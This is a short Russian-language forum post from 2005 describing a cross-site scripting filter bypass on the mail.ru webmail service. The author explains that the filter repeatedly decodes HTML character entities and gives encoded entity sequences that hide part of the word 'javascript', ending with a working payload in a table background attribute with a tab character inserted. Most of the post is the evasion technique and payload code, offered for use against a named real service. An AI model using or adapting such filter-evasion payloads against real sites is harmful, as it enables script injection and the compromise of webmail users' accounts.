xss mail.ru

xss mail.ru

19.08.2005, 20:38

Майор

Постоянный

Регистрация: 24.10.2004

Сообщений: 578

С нами: 11338946

Репутация: 300

xss mail.ru

Проверяв систему, я удивлся тому что фильтр раскодирует ASC II и Hex до потери пульса =), т е до того пока в значении атрибута будет встечаться комбинация

Код:

&#

что нам и интересно, ведь если написать

Код:

&#38#97

фильтр преобразует это в букву - a
кусок слова 'javascr' будет выглядить так :

Код:

&#38#106&#38#97&#38#118&#38#97&#38#115&#38#99&#38#114

и фильтр не воспримает этот кусок как слово ключевое слово javascript

а XSS бдет выглядеть как то так :
фильтр её пропускает, потому что кусок слова закодирован а конец его - нет

Код:

<table background="&#38#106&#38#97&#38#118&#38#97&#38#115&#38#99&#38#114		ipt:alert('Hi from mayor')">
</table>

// внутри табуляция

𝕏 Twitter Reddit Telegram Копировать ссылку